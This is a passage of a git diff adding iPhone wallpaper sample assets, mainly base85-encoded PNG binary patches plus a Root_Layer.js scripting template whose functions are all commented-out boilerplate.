z3RTVk1TP(eS^DS-dH9(s7MwqZg1@6Mh`pKX!GhT7(uotu=W;a#p#4`A>iA-Xsa*Rv zl(2|NH9EJ5cey~q0#AT!W+_#j9cH*1pzYYb+jeQ1!B|LGl%s>+%H-N}kZ*lDwfz~~ z=^IL82^%?FQQ@44i6Q{uw-c)0DD0A`#;^q=6XZI7_7kOfxausq-^wLTZN!U&Ot{w? zD{!k7y1QiFvi(-&5x`CcYOyKt8a~W0w^*@w#6FlF$ye;4C6+`o#ME#=e+dwjN79|{n0dW-w_lL@c>W_#bV0FoW-p~_4_t-(FW)iA_o0&k&O8OrN z_fIH|Ybt?YU3n5?h;=Qj6AGQ$&8|7qQ)ygl=}lT;g_{9m&lNn-tmijc6DJ3Xk5^Ux z*j%+EN?hPr3sNNi#$Eh32>0*E|7R5ISFTJ2>vGiCxzXnaT?UAMcXBn?V-WLd-o?M% z(SsAgtxxh;by^`*<=jx3AA2qvzhWiL?zhEtt%gK&QB^A5SLMJNs;L~ubY$Pnn%r<0B$%BZy2De#FGihtYKAEB{feAP;F3X|C*k{ZP~9T6oLa`^Wo@s z42q{t#S}g4$T#H4AV>E!3B|n*nflzoteFEm%#>?8RJCxGIteONP-&efi0G2Hc9?x> zHiDxZ#&D(meiymhZzb0sQM$qi6wcDYxbAh1+VO7hwBm7WDKy}A?sk4#<5VKZECZQJ zM1Ddxj$Tu_M*&?jcgLP4_1a4&(>eUPXL^!0ij6y9cyp)L}}8p3uxf>AOl{9>R&W zb0Ybzp|bhV`rtN;F-nRoGj`Lnp%~6IucU+<21+sr9#fwnpAVIN0D?LybhcVhzL^f> z5Z{hk?B?1)b__imF%r0uV#ktv`PK!7>rt~+e@G6wAS?qe@Dz2fmDv=;CHhcvCZgt? zk;`APaD~JPJ$S5)C;=ig`4y~ohWJFDQS3Tu_%I1rg(z@1VD!=qOPXOlJ!OhFXIRvv z?zQBFn0#mP3P}Z`NFUh-k1BriWLoy^_)= z#3}=FQjNIU)R>CwVe8I2gqn3u#Bs$e9jz;)!JOY<1#Rb_+8APdM3tBoU9ObGazS;VeDLH{y28e6CPlWeJ%GWQ_P2(#r0HvRgI7feDOHJ zsOv4c_9B^ex=C;8Il)zt&=#`m;XZg4ELG(s^LG{8@rV}(j~*26hf5IFduxeNm#19& zgl2oRU&08NR|0`geS~HLd6L2bRX@3bBK-_KB&KHa`{^=YNV(;O@J@J74%e~dtNcHH zadU{4b4i%94_L@L61+5~YIeYbDf{$nMU&FI(XR78c8j$on=~mvyDf{@b z+hkKf;86BB`*1x-(mtBXJ#$`?&t-B3yd=4TS`IzM6seM^Xd$=eNs-;e?2G zfm)3!XD>X$KG>%=d1$nY#tx=8<%0i^X6O;vz`DUznh$C;zMb{NBjMyjSb%}$dY;9A zYPfA@UisUZ^ORTYtX;%H_qV|s2_Bu#H%=X(!A(KY9nSERqZ>mb@FAWrJPm)!(P-pXhZ}Q%XCPKzt zct`I`^aoZnc?;ZVgLma@-MezJ!W^_p8ttWU?uO8mmG0p@lQ~>|{76R+KKy9`Ex1lt zgcd!wwcQMhKPQ|lBNx#|^TEl22geopkM+7@ARHp$X$3ton%Q`TB>^&v*d9oIa{r>0wbp#}5#;4zjxL|PZY}6wZ2%2xOPpuc@ G;C}!wF|+jm literal 0 HcmV?d00001 diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/P 1.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/P 1.png new file mode 100644 index 0000000000000000000000000000000000000000..d07d221a0cd84e508715dd34a4485bbedf52aac7 GIT binary patch literal 7350 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 literal 0 HcmV?d00001 diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/P 2.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/P 2.png new file mode 100644 index 0000000000000000000000000000000000000000..d07d221a0cd84e508715dd34a4485bbedf52aac7 GIT binary patch literal 7350 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 literal 0 HcmV?d00001 diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/P.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/P.png new file mode 100644 index 0000000000000000000000000000000000000000..d07d221a0cd84e508715dd34a4485bbedf52aac7 GIT binary patch literal 7350 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 literal 0 HcmV?d00001 diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/Root_Layer.js b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/Root_Layer.js new file mode 100644 index 0000000..a659d7c --- /dev/null +++ b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/Root_Layer.js @@ -0,0 +1,119 @@ +'use strict'; + +/* + Built-in variables (don't uncomment, for documentation only). + + var layer; -- this script's layer + var document; -- this script's document + var system; -- Properties about the current system. Local to each context + (version, build, productType, model, platform, appVersion) + var instance; -- ScriptObject (Properties: inspector) + + Script initialization functions: + + init(): Initialize variables and state. This will be called when a script is loaded + or updated. Do not depend on the ordering. Do not assume that all other scripts + have been initialized. + + ready(): Called after all scripts are initialized. If a single script is updated, + only that script will have ready() called. Do not depend on the ordering. + + 'Strict' mode is on by default: + https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode + */ + +// function init() { +// } + +// function ready() { +// } + +// function eventHandler(event) { +// } + +// function layoutSublayers() { +// } + +// Called on display refresh. Use 'link.duration' for time passed since the previous frame. +// function updateForDisplay(link) { +// } + +// function signalHandler(signalName) { +// } + +// function drawLayer(ctx) { +// } + +// ------------ +// Inspector UI +// ------------ + +// (Optional) Declares a specially named JS variable for the title of the inspector tab. +// var inspectorTabTitle = "My Title"; + + +/* (Optional for modules) Declares a function to update the UI. The return value should be an array + of InspectorItem objects. See InspectorItem for details. Use the instance.inspector.reloadView() + to have this function called when the UI should be updated. + * inspector - The inspector view shown in the sidebar + * proposedInspectorItems - A list of items (if any) the inspector will use by default. + You can modify and return any or none of the items. */ + +// function updateInspectorView(inspector, proposedInspectorItems) { +// } + + +// (Optional) Declares a property getting function that returns a value for a key +// * key - The key for the value to return + +// function getPropertyValue(key) { +// } + + +// (Optional) Declares a property setting function that stores the value for the key +// * key - The key for the value to set +// * value - The new value for the property named 'key' + +// function setPropertyValue(key, value) { +// } + + +// (Optional) Declares a function to be notified after a property value has changed in the inspector. +// * key - The key for the value that changed. + +// function propertyValueChanged(key) { +// } + +// ---------------- +// Property Storage +// ---------------- + +// If you use the default storage for your properties, you can access them using: +// `instance.properties.` +// This works for both standalone scrips and module scripts. + + +// (Optional) Declare a `properties` object to provide a custom place to store the values for your script. + +// let properties = { +// "myValue": 10 +// }; + + +// (Optional) Declares a function to initialize your stored properties when the document is reopened or the script is reinitialized +// * key - The name of the property +// * value - The property value associated with the name `key` + +// function initializePropertyValue(key, value) { +// properties[key] = value; +// } + + +// (Optional) Declares a function to store properties when the document is saved. +// * storage - The ScriptStorage object that will persist its values when the document is saved. + +// function storePropertyValues(storage) { +// for (const [key, value] of Object.entries(properties)) { +// storage.setItem(key, value) +// } +// } diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/Untitled 2.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/Untitled 2.png new file mode 100644 index 0000000000000000000000000000000000000000..49fa7a6ac7eb23e6ca1fc5595ff96912e031e72d GIT binary patch literal 87710 zcmeFZcT`hZ7dIS429!Z?7)7Zfqs$Clq&GV{QdCMJ5JE&c2{n{ZMTBuckkJv9W~C&7 z1nGfKpg(^Sf-ZA8BB#Ya4vr%h&HTG1SX}Xy@oj z4Dd9$yx+=lyLpr;Ab|4<$L@>51>(a@qb&A+rE3bFg|Bt?@B7*%JiuZ<%J$s8<3XWb z`wX-Vv~~AeZr^7fdfD6b!iiJ=7z}<{?Dq{14>r}&iHwZYj?~u<3iZ*^GchsI(LJPd z=#UoZp%oU5564Dn;ltE~B>tjt!Yj-()Gs*PF9^R+NE3T0h!AeEe?Ms7_qSxY;C~Xw zhy7#rU>$U#u)#Wd+PXUb-Z|JeC_E_4H|YN`rP<|LPv@=ly@^ zE^PU)?qIELZU67Hz~TO5B4ObtBfvuZV^RM@puguG<`^C9rE|e6EQk>5>2)%~3m>lb zbu9ol)8nCD*l@2C;IGC0L%N3ywDfef^z9=^B~p>i)C0ZO~;u@96*T zZD^{i4+i|ddjtKrj19;Bf9e0v6*m?3{!1#LoBwx_{x#@$P+(9fkPgg3|EskBYC3cL z__@#^Z@)m$7Iwk<*uFC-j~nWl7#eCF($@RhSGaSg=lr6)0#PUYa9;Q@pk;vd;eSm0 zU(FZ)y;<+yo4@jR00#^(`HQGd$EjC_wpRY}S)B4&Z+^Il< zP}QCAeqe78eHHR+6Y5`WV4}LZI{(J&;(xaZkIz2yuS#Wl+Al0TC^Y)(tG~{agICC3 